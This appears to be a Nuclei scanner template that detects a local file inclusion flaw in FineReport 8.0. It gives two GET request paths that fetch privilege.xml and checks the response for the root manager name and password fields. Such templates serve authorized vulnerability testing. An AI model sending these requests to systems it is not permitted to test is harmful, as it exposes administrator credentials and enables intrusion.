id: finereport-path-traversal

info:
  name: FineReport 8.0 - Local File Inclusion
  author: pikpikcu
  severity: high
  description: FIneReport  8.0 is vulnerable to local file inclusion.
  reference:
    - https://web.archive.org/web/20200506020241/http://foreversong.cn/archives/1378
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cwe-id: CWE-22,CWE-73
  metadata:
    max-request: 2
  tags: finereport,lfi,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/WebReport/ReportServer?op=chart&cmd=get_geo_json&resourcepath=privilege.xml"
      - "{{BaseURL}}/report/ReportServer?op=chart&cmd=get_geo_json&resourcepath=privilege.xml"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "<rootManagerName>"
          - "<rootManagerPassword>"
        part: body
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a004730450221008c8366667fdb9a729130ecd4b61d4be97379ee2b5304c9b79030087b782649ac02202ef43dc96f9f70570ad5ff94773cbdbdb439cd61d8d7027a6685dceed09e45b6:922c64590222798bb761d5b6d8e72950